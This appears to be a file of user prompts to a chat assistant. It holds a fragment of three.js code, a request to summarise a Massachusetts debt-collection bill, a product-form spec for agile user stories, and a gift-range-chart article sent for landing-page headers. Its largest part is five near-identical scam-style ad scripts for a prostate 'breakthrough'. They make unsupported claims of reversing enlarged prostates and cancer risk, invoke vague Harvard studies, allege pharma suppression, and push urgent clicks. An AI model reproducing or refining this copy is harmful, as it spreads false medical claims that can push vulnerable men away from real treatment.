simplex.noise2D(time, 1);\n\n // Update camera position based on the hovered node and mouse position\n updateCamera();\n\n renderer.render(scene, camera);\n}\n\nrender();" -"That was the last of the vision loss scripts. The next scripts are about prostate:\nScript 16:\nThis changes everything we know about enlarged prostates!\n\nAfter a ground breaking study which analysed the way 12,500 American men pee...\n\nScientists made a shocking discovery…\n\nThey discovered that even men who frequently have the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nSo if you have any prostate issues you must stop what your doing and watch this! this discovery could save your life. \n\nA shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. These brilliant scientist’s have discovered the real reason why you can't sleep through the night without multiple bathroom trips. \n\nThe discovery lead to a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late.\n\nScript 17:\nWant to know how to reduce your swollen prostate for good? \n\ntop medical doctor shows how a 56 year old man who had been suffering from persistent prostate issues, used this all natural method to reduce his swollen prostate and finally fix all his swollen prostate symptoms in record time! \n\nAfter studying the way 12,500 American men pee... Scientists made a shocking discovery, They discovered a natural way to drastically restore swollen prostate’s, in record time. The\nstudies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like\nSaw\nPalmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues. This\nbrilliant scientist has discovered the real reason why your prostate is swelling. and this simple trick that can reverse your prostate problems while you sleep through the night, no matter your age or current condition. A shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University\n\nThese studies have shown that even men who have mild symptoms such as the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis.\n\nSo stop everything you're doing and click the link below to watch a short free special video, Discover this revolutionary new way to reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams.\nand it works like crazy.\n\nThis one simple trick is so amazing It sent the entire prostate- care industry back to the drawing board and it's currently losing them millions of dollars. \n\nOver 37,000 men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river.\nAnd no, this has nothing to do with meds, surgery or Saw Palmetto. Hundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. And for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. Jim is a man who had gotten a prostate exam by his urologist seven months ago, his examination came back that he had a severely swollen prostate that was blocking his urethra, He was prescribed a catheter. But soon after he discovered and started doing this simple habit. He couldn't believe his results. \n\nWhen he went to the toilet he was shock to see first hand that he was finally able to empty his bladder, he noticed his libido was increasing, and he could finally sleep the whole night without waking up\n\nAfter a month, he went back to see the doctor who was shocked to see that Jim was cleared and the doctor no longer said a word about a catheter\n\nSo click the link below and watch the short free eye opening video now before it's gone for good. \n\nIf it worked for Jim and thousands of other men. Imagine what it can do for you too!\n\nScript 18:\nWant to know how to reduce your swollen prostate for good?\n\nTop doctor from has discovered the real root cause of swollen prostates. And it has nothing to do with your diet, testosterone levels or even genetics. \n\nBut instead The studies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like saw Palmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues.\n\nSo before you resign yourself to being hooked on medication for life or other deliberating surgeries, you’ve got to see this now, \n\nthis well known doctor was forced out of his practice after he unveiled a billion dollar secret he wasn't supposed to know a clinically proven simple trick you can use starting today to potentially reduce your swollen prostate, regardless of your age or medical condition, and it works like crazy. \n\nMore than 43,000 men are already doing it and they have been able to treat reduce their swollen prostate successfully and no longer suffer with the serious and sometimes embarrassing symptoms, they are no longer waking up during the night and have finally restored strong and powerful streams being able to completely receive them selves!\n\nRemember, this has nothing to do with meds, surgery or expensive treatments, \n\nwell stop everything you're doing and click the link below to watch a short free special video this doctor created \n\nThe $390 billion Prostate care industry doesn't want you to see this video and discover the extraordinary prostate fighting secret. Watch it now before it's too late.\n\nScript 19: \nIf you suffer from a swollen prostate, this might be the most important video you ever watch. \nAfter studying 12,500 American men pee, scientists discovered a revolutionary way to reverse enlarged prostates. \n\nTheir studies show that type a swollen prostate is a completely reversible condition, and if not treated properly, it increases the risk of so many other life threatening diseases such prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nThis simple discovery is already helping thousands of men to free themselves from their swollen prostate symptoms. \n\nFor the first time in years, they have been able sleep through the night without multiple bathroom trips and uncomfortable urges to go, inability to empty their bladder and finally able to completely relieve themselves.\nIt doesn't require Saw palmetto or any other expensive meds, treatments, diets or surgery, instead a unique and very different way to finally reduce swollen prostates by targeting the real root cause of your prostate issues. \n\nAnd today, I'm going to show you how it's helping thousands of men from all around the world to drastically restore their swollen prostate’s, in record time.\nSo stop everything you're doing and click the link below to watch a short free special video, Discover how to quickly reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, low libido, inability to empty your bladder and weak start and stop streams while also saving hundreds or even thousands of dollars on medications.\n\nAnd this unique and very different method of treating your swollen prostate, will provide immediate and long lasting results, is affordable for anyone uses natural ingredients has zero side effects. \n\nThis all natural solution is so simple and effective. \nThat no matter how severe or swollen your prostate is, how long you have been struggling with it for or what your family medical history is, it can be implemented into your daily routine in the comfort of your own home in a matter of seconds each day. \n\nThis all natural solution has saved the lives of over 76,000 men across the world and counting. Hundreds of men have been writing in sharing how this new prostate breakthrough has changed their lives. \n\nWell stop everything you're doing and click the link below to watch a short free private video. \n\nThe $390 billion prostate care industry doesn't want you to see these video and discover the extraordinary swollen prostate fighting secret. Watch it now before it's too late.\n\nScript 20:\nIf you're suffering from a growing prostate and always running to the bathroom to pee, you must see this. \n\nDid you know prostate problems have nothing to do with your age or even your testosterone levels? \n\nA shocking link between cortisol and your prostate was discovered by researchers at the University of Iowa, along with researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. This brilliant scientist helped in discovering the real reason why you can't sleep through the night without multiple bathroom trips, and a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late." -'can you summerize this bill about debt collection in massachussetts \nSection 2. (a) Notwithstanding section 34 of chapter 235, if earnings of a consumer are attached to satisfy a judgment for collection of a consumer debt, that consumer’s earnings for a week that are less than 65 times the greater of the federal minimum hourly wage under 29 U.S.C. section 206(a)(1) or the state minimum hourly wage under section 1 of chapter 151 in effect at the time shall be exempt from the attachment and not subject to garnishment. This exemption shall be adjusted pro rata for a pay period that is more than weekly.\n\n(b) If the consumer’s earnings exceed the amount that is exempt under subsection (a), not more than 10 per cent of the excess earnings shall be subject to garnishment.\n\n(c) Notwithstanding subsection (a), a judgment debtor may seek to exempt additional wages from attachment by making a claim of undue financial hardship by filing a form with the court. Such form shall be prepared by the court to allow a judgment debtor to easily identify the basis for the judgment debtor’s request for an additional exemption. Upon the filing of the financial hardship form, the court shall hold a hearing as soon as practicable to determine the total amount that shall be exempted from the judgment debtors’ wages.\n\n(d) If more than 1 order of attachment for a consumer debt is served on a trustee with respect to the same consumer, the order of attachment served earliest shall take priority. If an order of attachment with greater priority consumes the entirety of the income that is available for garnishment under the preceding subsections, then the consumer’s earnings shall not be garnished pursuant to the order of attachment with lower priority.\n\n(e) The protections for earnings under this section apply to consumers whose physical place of employment is in the commonwealth, notwithstanding that the consumer’s employer may have corporate offices or other places of business located outside the commonwealth.\n\n(f) This section shall not apply in a proceeding to attach earnings or a pension to satisfy a divorce, separate maintenance or child support order of a court of competent jurisdiction and in such a proceeding, including an action for trustee process to enforce a support order under section 36A of chapter 208, federal law limiting the amounts that may be trusteed, assigned or attached in order to satisfy an alimony, maintenance or child support order shall apply.\n\n(g) Except as otherwise permitted by law, an amount held by a trustee for a defendant in a pension, as defined in section 28 of chapter 246 shall be reserved in the hands of the trustee and shall be exempt from attachment to satisfy a judgment for collection of a consumer debt.\n\n(h) An employer shall not take adverse action against an employee or refuse to hire an individual because of one or more garnishments for consumer debts or because of obligations that any garnishments impose against the employer. An employer who violates this section shall be liable in a civil action, action for contempt or other appropriate proceeding to the employee or individual for the wages and employment benefits lost by the employee or individual from the time of the unlawful discipline, suspension, refusal to hire or discharge to the period of reinstatement and an additional penalty of not more than $1,000.\n\n(i) Income from child support payments shall be exempt from collection.\n\nSection 3. (a) Notwithstanding section 2 of chapter 260, an action for the collection of a consumer debt shall be commenced only within four years after the cause of action accrues. This limitations period shall apply to a consumer debt, whether the claim sounds in contract, account stated, open account or other cause, and notwithstanding another applicable statute of limitations of the Commonwealth or other jurisdiction. This time period also applies to a claim for a consumer debt based on a contract or instrument under seal.\n\n(b) Notwithstanding section 14 of chapter 260, a payment on a consumer debt after the limitations period in subsection (a) has run shall not revive or extend the limitations period or bar the consumer from asserting a defense to the collection of a consumer debt.\n\n(c) No creditor, debt buyer, or debt collector shall bring a suit or initiate an arbitration or other legal proceeding to collect a consumer debt if the applicable limitations period on the consumer debt in subsection (a) has expired.\n\n(d) A waiver by a consumer of a protection or right under this section is void and shall not be enforced.\n\n(e) Notwithstanding section 20 of chapter 260 or any other general or special law to the contrary, an action upon a judgment or decree on a consumer debt, including an execution upon or trustee process based on the judgment or decree and other activity to collect on the judgment, shall be commenced within 10 years after the entry of the judgment or decree. If an action on a judgment has commenced within 10 years, it may be renewed once for another 10 years. A judgment whose enforcement has been barred by the running of this limitations period shall not be revived or renewed.\n\nSection 4. (a) For matters arising from a consumer debt, a plaintiff who has obtained a judgment shall provide written notice to a consumer at least 30 days prior to a supplementary proceeding in a civil action for the examination of a consumer pursuant to section 14 of chapter 224 or a payment review hearing in a small claims action pursuant to Uniform Small Claims Rule 7(i). The notice shall inform the consumer of the opportunity to submit a financial affidavit in a form prescribed by the court. If the consumer indicates through the financial affidavit that all income and assets are exempt and files it as directed by the court, the court shall acknowledge receipt and inform both parties that the hearing is canceled. Once a signed financial affidavit form indicating that all income and assets are exempt is on file in that case, no further supplementary proceedings or payment review hearings may be scheduled unless the judgment creditor presents evidence of the judgment debtor’s non-exempt income or assets and the court determines that there is a reasonable basis to believe that there are non-exempt assets or income warranting the scheduling of a new supplementary proceeding or payment review hearing.\n\n(b) Notwithstanding the provisions of sections 18 and 20 of chapter 224 or any other applicable law or court rule, for matters arising from a consumer debt no capias or other warrant to compel the attendance of a consumer shall be issued for failure of the consumer to appear at a supplementary proceeding in a civil action for the examination of a consumer pursuant to section 14 of chapter 224 or a payment review hearing in a small claims action pursuant to Uniform Small Claims Rule 7(i). Instead failure to appear shall trigger the scheduling of a show cause hearing for the court to determine whether a capias or other warrant to compel the attendance of a consumer should issue. No capias or other warrant shall issue to compel the attendance of a consumer without evidence that notice of the show cause hearing was served on the consumer either by signed return receipt or by a sworn return of service.\n\n(c) Notwithstanding the provisions of sections 18 and 20 of chapter 224 or any other applicable law or court rule, a consumer that is compelled to attend pursuant to a capias or other warrant shall be brought before the court the same day. The consumer shall be given the opportunity to complete the financial affidavit described in paragraph (a). The capias or other warrant shall be satisfied by the consumer’s appearance in court or completion of the financial affidavit indicating that all forms of income and assets are exempt.\n\n(d) Notwithstanding the provisions of sections 18 and 20 of chapter 224 or any other applicable law or court rule, no person shall be imprisoned or jailed for failure to pay a consumer debt, nor shall any person be imprisoned or jailed for contempt of or failure to comply with a court order to pay a consumer debt in part or in full.\n\nSection 5. (a) If a plaintiff prevails in an action to collect a consumer debt, interest computed pursuant to section 6C of chapter 231 or section 8 of chapter 235 shall be limited to a fixed rate of interest of 2 percent per annum. A higher rate of interest on the judgment shall not be permitted, including the rate provided for in the contract. Notwithstanding any interest rate specified in a judgment prior to January 1, 2024 the applicable interest rate to be applied by the judgment creditor or its assignee on and after January 1, 2024, shall be 2%. Judgments issued prior to January 1, 2024 with an interest rate other than 2% are not required to be amended or reissued by the courts.\n\n(b) If the plaintiff prevails in an action to collect a consumer debt, the plaintiff shall be entitled to collect attorney’s fees only if the contract or other document evidencing the indebtedness sets forth an obligation of the consumer to pay attorney’s fees, subject to the following provisions: (i) if the contract or other document evidencing indebtedness provides for attorney’s fees in some specific percentage, the provision and obligation shall be valid and enforceable up to but not in excess of 15 per cent of the amount of the debt excluding attorney’s fees and collection costs; (ii) if a contract or other document evidencing indebtedness provides for the payment of reasonable attorney’s fees by the consumer , without specifying a specific percentage, the provision shall be construed to mean the lesser of 15 per cent of the amount of the debt, excluding attorney’s fees and collection costs, or the amount of attorney’s fees calculated by a reasonable rate for such cases multiplied by the amount of time reasonably expended to obtain the judgment; and (iii) the documentation setting forth a party’s obligation to pay attorney’s fees shall be provided to the court before a court may enforce those provisions; provided, however, that the documentation shall not include materials that the plaintiff has already filed together with the complaint in compliance with applicable court rules.\n\n(c) If the consumer is the prevailing party in an action to collect a consumer debt, the consumer shall be entitled to an award of reasonable attorney’s fees, unless the case is voluntarily dismissed with prejudice pursuant to Rule 41(a)(1)(i) of the Massachusetts Rules of Civil Procedure or a stipulation of dismissal explicitly provides otherwise. The amount of the debt that the plaintiff sought shall not be a factor in determining the reasonableness of the award. In the alternative, at the consumer’s election, a prevailing consumer in an action to collect a consumer debt shall be awarded the amount of attorney’s fees that the plaintiff would have been entitled to collect if the plaintiff had been the prevailing party.' -"I have the following requirement, can you help me write agile user stories?\n\nDescription\nThe purpose of this page is to describe the functionality of the ‘Add Product’ page. This is the initial page where a new product information is entered and added to the existing product listing. \n\nThe Product Definition has two phases. Each phase is described and detailed in its own separate section below. The phases are:\n\nSection 1- Add Phase (Feedlot, Enterprise/Company)\n1.1- Add Product Definition \n\n1. 1 Add Product Definition\nThis blank product form (Product Definition) is generated when user clicks on 'Add Product' button.\n\nWhen adding a new product, the product drop down list is disabled.\n\n1.1.1 ALL LEVELS (Feedlot, Company and Enterprise)\nRequirements\nTitle = Products Definition\nSub-title = All levels (Feedlot, Company and Enterprise).\n\nLabel: Product Code \\*\nType: Text\n\nREQUIRED FIELD.\n\nMust be UNIQUE to the product. \n\nCharacter Maximum of 15.\n\nValidation Message “Username cannot be greater than 15 characters” input stops after 15 characters\n\nIf not unique show system standard error message that reads ‘Code must be unique’.\n\nLabel: Description \\*\nType: Text\n\nREQUIRED FIELD.\n\nUser defined description of the product. \n\nValidation message = Description is required\n\nLabel: Product Type \\*\nType: Single Select Dropdown\n\nREQUIRED FIELD.\n\nThis is for grouping products into like categories and biological equivalence. \n\nValidation message = Product Type is required\n\nLabel: Manufacturer \\*\nType: Text\n\nREQUIRED FIELD.\n\nThis is the name of the business / company that makes the product. \n\nValidation message = Manufacturer is required\n\nLabel: Unit \\*\nType: Single Select Dropdown\n\nREQUIRED FIELD.\n\nChoice between Milliliter (ml), Liter (L) or Unit.\n\nThere is no “blank” choice. \n\nValidation message = Unit is required\n\nLabel: DIN/NDC \\*\nType: Number\n\nREQUIRED FIELD. \n\nMax value is 13 digits\n\nThis is the Drug Identification Number/ National Drug Code. It is a unique identifier for the product.\n\nValidation message = DIN/NDC is required\n\nLabel: External Code\nType: Text\n\nThis field is used to integrate with 3rd party systems. \n\nInventory Details\n\nLabel: Minimum Quantity in Inventory\nType: Number\n\nThis field represents the minimum quantity for inventory purposes.\n\nThe figure should be a whole number and not decimal. \n\nLabel: Maximum Quantity in Inventory\nType: Number\n\nThis field represents the maximum quantity for inventory purposes.\n\nThe figure should be a whole number and not decimal. \n\nPricing Details\n\nLabel: Pricing Method\nType: Single Select Dropdown\n\nChoice between Cost plus % OR Cost plus fixed price.\n\nCost Plus Percentage:\na. The cost of the product is the base value for calculating the selling price.\nb. The percentage markup will be added to the base cost to determine the final selling price.\nc. The percentage markup must be a positive value.\nd. The percentage markup should be entered as a whole number or a decimal (Ex, 25%).\ne. Min value= 0% and Max= 100%\nf. When this option is selected, the system should prompt the user to enter the percentage markup.\n\nCost Plus Fixed Price:\na. The cost of the product is the base value for calculating the selling price.\nb. A fixed price markup will be added to the base cost to determine the final selling price.\nc. The fixed price markup must be a positive value.\nd. The fixed price markup should be entered as a whole number or a decimal (Ex. 20.0000).\ne. 4 decimal places are required\nf. When this option is selected, the system should prompt the user to enter the fixed price markup.\n\nLabel: Post Treatment Interval\nType: Number\n\nThis field represents the Post treatment interval (PTI) which refers to the length of time between consecutive treatments with a particular product. \n\nThe figure should be a whole number and not decimal. \n\nLabel: Allow Reconcile\nType: Checkbox\n\nDefault to ‘checked’ for new custom fields.\n\nIf the checkbox is ACTIVE, the product will be available for selection during reconciliation.\n\nLabel: Dosage \\*\nType: Single Select Dropdown\n\nREQUIRED FIELD.\n\nChoice between CWT (weight based-'hundredweight') OR per HEAD. \n\nThere is no “blank” choice. \n\nValidation message = Dosage is required\n\nProduct Detail\n\nAn active product must have at least one route selected.\n\nLabel: Add Routes \\*\nType: Button\n\nREQUIRED FIELD.\n\nThese are routes for administering treatments.\n\nWhen a user clicks the ‘add routes’ button, the following options are displayed: Base of Ear (BE), Ear (EA), Intramuscular (IM), Intranasal (IN), Intravenous (IV), Oral (OR), Subcutaneous (SQ), Topical (TO) or Not Applicable (NA). \n\nWhen a route is selected, the ‘add route details’ modal pops up. Once all the field are completed and ‘add route’ button is clicked, a row is displayed on the grid/table per route of administration selected.. \n\nA route can only be selected once.\n\nAt least one route must be selected for an active product.\n\nProduct Detail Grid:\n\nThe product detail grid will have 8 columns: Effective From, Effective To, Dosage, Quantity, Unit, Round To, Tolerance and Withdrawal Days. \n\nRequirements\nColumn: Effective From\nType: Date\nSource: Product Details Record → Effective From\nDescription: This is a unique identity to a product.\n\nFormat: M dd, yyyy (ex: Nov 16, 2022).\n\nDate can be either be present or future.\n\nEffective From Date can NOT BE BLANK / null when adding a new product (Validation message standard pop up “Effective From Date must be entered for a product”).\n\nEffective From Date must be AT LEAST one day in the future compared to previous rows effective from date. (which would then set its Effective To do the same day). \n\nColumn: Effective To\nType: Date\nSource: Product Details Record → Effective To\nDescription: This is a unique identity to a product.\n\nFormat: M dd, yyyy (ex: Nov 16, 2022).\n\nCALCULATED COLUMN (user does not directly enter this).\n\nCalculated value / column rules are the following:\n\nFor the ‘current’ route details, this field is always blank, indicating the date range is forever.\n\nWhen a new route details is made on the row below, the effective to date is system set to the day before the new / next row’s Effective From date. (For example, if you make a route details row that starts on Nov 15th, then the Effective To date on the row above will change from blank to Nov 14th). \n\nColumn: Dosage\nType: Text\nSource: Product Details Record → Dosage\nDescription: This is the dosage of the product. Choices are CWT (weight based) or per HEAD. \n\nColumn: Quantity\nType: Number\nSource: Product Details Record → Quantity\nDescription: This is the recommended quantity (whole number) that can be administered as written on the product label. \n\nColumn: Unit\nType: Number\nSource: Product Details Record → Unit\nDescription: This is the unit of measurement (whole number) for the recommended quantity of the product.\n\nColumn: Round To\nType: Number\nSource: Product Details Record → Round To\nDescription: This is to round up the actual dosage to 'ml'\n\nColumn: Tolerance %\nType: Number\nSource: Product Details Record → Tolerance\nDescription: Is the allowed difference in dosage.\n\nColumn: Administration Location\nType: Text\nSource: Product Details Record → Administration Location\nDescription: This is the location where products are administered. The options are Left side, Right side and Neutral\n\nColumn: Withdrawal Days\nType: Date\nSource: Product Details Record → Withdrawal Days\nDescription: Is the period of time from when a drug is administered to when the drug concentration falls below the tolerance.\n\nTotal Withdrawal days= (Default Withdrawal days + Withdrawal offset)\n\nDisplay Format = Total withdrawal days (Default withdrawal days) Ex. 14 (10 default).\n\nLabel: Add (located below the route grid)\nType: Button\n\nWhen user clicks the ‘Add’ button, a new blank ‘add route details’ modal is displayed.\n\nAdds an editable row to the route grid.\n\nLabel: Activate/Inactivate Route (located below the route grid)\nType: Button\n\nWhen user clicks the ‘Inactivate Route’ button, that particular route grid/table is disabled.\n\nWhen user clicks the ‘Activate Route’ button, that particular route grid/table is enabled.\n\nActions/Buttons- Add Product\nLabel: Cancel\nType: Button\n\nCancels any change and closes modal.\n\nNavigates user back to Product Management → Overview page.\n\nLabel: Add Product\nType: Button\n\nWhen user clicks the ‘add product’ button, the new product is created and automatically added to the product list.\n\nToaster message for success = Product added successfully.\n\nOnce the product is added, mapping and pricing tabs becomes active.\n\nAdd Product button is disabled until all validation is met.\n\nAuthorization Table\nRole: N/A" -'The brackets below is article about Gift Range Chart. I am now selling Gift Range Chart and I am building a website landing page. Can you give me some more website headers like "A simple yet powerful tool to plan and manage a successful capital campaign"\n\n[If I had to pick the most important of resources to lead you through a successful capital campaign, it would be the gift range chart. You may also know it as a gift table.\n\nIn this post, you’ll learn the basics of Gift Range Charts and discover the related tools that will help create a plan for your campaign.\n\nQuick Links — Click on any of the links below to jump ahead and learn the essentials about Gift Range Charts:\n\nCapital Campaign Gift Range Chart: An Overview\nCreating Your Capital Campaign Gift Range Chart\nGoing Beyond the Gift Range Chart\nTools to Create Your Capital Campaign Gift Range Chart\nConclusion: Making Sense of Your Campaign\nRead on and learn about how Gift Range Charts (also known as gift tables) are created and used.\n\nAlready know you want hands-on guidance developing your gift range chart? Request a free strategy session today!\n\nCapital Campaign Gift Range Chart: An Overview\n\nCapital Campaign Gift Range Chart: An Overview\nIf you’ve been through a capital campaign before, you are likely familiar with this important tool. If you use this tool correctly, you’ll be well on your way to leading a successful campaign.\n\nWHAT IS A GIFT RANGE CHART?\nA Gift Range Chart provides a framework for the number of gifts, at each gift amount, that you’ll need for a successful campaign.\n\nThe Gift Range Chart is the primary tool for your campaign because it will clarify your campaign goal and help you determine your chances for success at a specific goal amount. But the right Gift Range Chart for your campaign will become the backbone of your campaign in many other ways as well.\n\nA Gift Range Chart will enable you to:\n\nSort your donors by ask amounts\nEstablish the pattern of gifts you’ll need for your campaign\nCreate a strategic order for soliciting gifts\nProvide a logical approach to quantifying the number of prospects you’ll need for your campaign\nHelp your board understand what campaign success is going to take\nShow your top donors where their gifts will fit into the campaign\nTrack and report on your campaign progress\nDevelop a rational plan for donor communication, recognition and naming opportunities\nSAMPLE GIFT RANGE CHART\nYou’ll find several tools to help create your Gift Range Chart in the “Pre-Campaign Planning” section of the Capital Campaign Toolkit. Here’s a sample Gift Range Chart to use as a reference:\n\nSample Gift Range Chart for a Capital Campaign\n\nCreating Your Capital Campaign Gift Range Chart\n\nCreating Your Capital Campaign Gift Range Chart\nIn the sample Gift Range Chart in the preceding section, you can see that the top gift is 20% of the campaign goal. And, the first seven gifts take you to $1.4 million — more than halfway toward the goal.\n\nThe top group of 15 gifts take you to $1.8 million, or 72% — nearly three-quarters of the way to the campaign goal.\n\nThis pattern, showing a few gifts accounting for a large proportion of the campaign goal, is common for capital campaigns. In most campaigns, the top gift is 20% or 25% of the campaign goal. In some cases, it’s even higher. In fact, only 10 gifts account for at least half the goal in the vast majority of capital campaigns.\n\nOn the other hand, you can see that the remaining gifts — those of $25,000 or less account for less than 30% of the goal.\n\nOf course, the amounts on this chart are for example only. One standard pattern does not work for every campaign. Your Gift Range Chart will have to reflect the size of your donor base. The smaller your donor base, the larger the gifts in the top of the chart will have to be.\n\n7 TIPS TO CREATE YOUR GIFT RANGE CHART\nHere are seven tips that will help you create a Gift Range Chart for your organization.\n\nBuild your gift chart by starting with the top gift which should be at least 20% of your campaign goal.\nThen work down, increasing the number of gifts as the size of the gifts goes down.\nThe number of gifts in the first column should increase in a rational pattern as the size of the gifts decreases.\nThe gift amounts should be simple and standard to reflect a generic pattern rather than specific gifts you may already have in.\nYou will need 2, 3 or even 4 times the number of prospects than the number of gifts. The prospect multiplier depends on how well you know your donors.\nThe total number of prospects you show in your chart should be no larger than the number of qualified prospects you have in your donor base.\nIf when you get to the bottom of your chart, you find that you need more prospects than you have, go to the top and increase the number of gifts at the top.\nWant one-on-one guidance to help create your campaign’s gift range chart? Just reach out—we’ll be happy to help!\n\nGoing Beyond the Gift Range Chart\n\nGoing Beyond the Gift Range Chart\nThe Gift Range Chart will serve as a roadmap for your campaign. You will use a Depth Chart to add prospect names to each giving level you have decided on in your Gift Range Chart.\n\nFROM GIFT RANGE CHART TO DEPTH CHART\nOnce you’ve created a Gift Range Chart for your campaign, you’ll develop a “Depth Chart” which will attach specific prospective donor names to each gift required for a successful campaign.\n\nSimply take each of the top giving levels and use them as column headers. In each header, indicate how many gifts you will need at that level and how many prospects that will require:\n\nCapital Campaign Depth Chart\n\nNext, start filling out the names of people you can credibly ask for a gift at that level for your campaign. Sorting your donors into columns is done by evaluating their current giving, their potential to give, and their likely inclination.\n\nAs you fill out the Depth Chart, you will clearly see where you have enough qualified prospective donors and where you fall short. If you don’t have any prospect names for the top three levels, you probably need to go back to the drawing board and reduce your campaign goal.\n\nOnce your depth chart has been filled in, you will use it to organize the order of solicitation. You’ll prioritize the top donors to solicit first and then gradually work down to the smaller gifts as laid out on the depth chart.\n\nUSING THE GIFT RANGE CHART TO SOLICIT GIFTS\nOnce you have your depth chart and you start talking to your donors about making gifts to the campaign, you will once again find the gift range chart to be helpful. You should always include a copy of the gift range chart in the materials you take to your donors. When you show it to them, they will be able to see where they might fit in the community of donors. While a donor’s ability to make a gift is important, most donors like to know where their gift fits.\n\nSome donors want to be lead donors. And your chart will show them what that gift would be. Others might not want to be the lead donor but would like to make a significant gift to the campaign. Again, looking at the gift range chart will help them understand the range of giving and where they might place themselves in the community of donors.\n\nTRACKING CAMPAIGN PROGRESS WITH THE GIFT RANGE CHART\nGift range charts have a way of making the essence of a capital campaign clear. So, as gifts come in, you will check them off on your gift range chart. Gradually, as your campaign moves forward, you will see graphically, in a simple way, the progress your campaign is making and what gifts have yet to be committed. Your board members and executive staff will appreciate this very simple tracking devise. It’ll give them a sense of confidence to see the top gifts fill in from the top down.\n\nTools to Create Your Capital Campaign Gift Range Chart\n\nTools to Create Your Capital Campaign Gift Range Chart\nThe sample Gift Range Chart in this post is one of a number of tools available in the Capital Campaign Toolkit’s Pre-Campaign Planning section. Other tools include:\n\nGift Range Chart Calculator\nGift Range Chart Worksheet\nDepth Chart Worksheet\nOther related tools include a plan for your donor recognition guide based on the levels in your Gift Range Chart.\n\nIf you’re eager to utilize these tools for your campaign, check out the different Toolkit options here. Most options include campaign advising, giving you professional support at a fraction the cost of a campaign consultant.\n\nVIDEO: GIFT RANGE CHARTS = YOUR MOST POWERFUL TOOL\nTo learn even more about creating a Gift Range Chart for your campaign, watch the following video (approximately 17 minutes):\nConclusion: Making Sense of Your Campaign\n\nConclusion: Making Sense of Your Campaign\nBecause capital campaigns go on for many months (or even years), you may find it easy to get confused about where you should be putting your efforts during the seven phases of the campaign.\n\nIf, however, you coordinate your campaign plan to a Gift Range Chart, then, when you’re feeling lost, you’ll know where to turn. You’ll look at your chart to review which groups of donors have been solicited, as well as which are next up.\n\nYou may tie your staffing responsibilities to the donor levels of the Gift Range Chart. And you will certainly create a timetable for your campaign that prioritizes the work of the campaign according to giving level, starting with the largest gifts and working down.\n\nAnd even when considering how to thank and recognize donors, once you start thinking about it from the perspective of the giving levels in your Gift Range Chart, all of the planning will fall into place.\n\nA GIFT RANGE CHART MINIMIZES CONFUSION AND BUILDS CONFIDENCE\nWhen you organize your campaign based on a clear top-down strategy as mapped out in the Gift Range Chart, you will minimize confusion and build 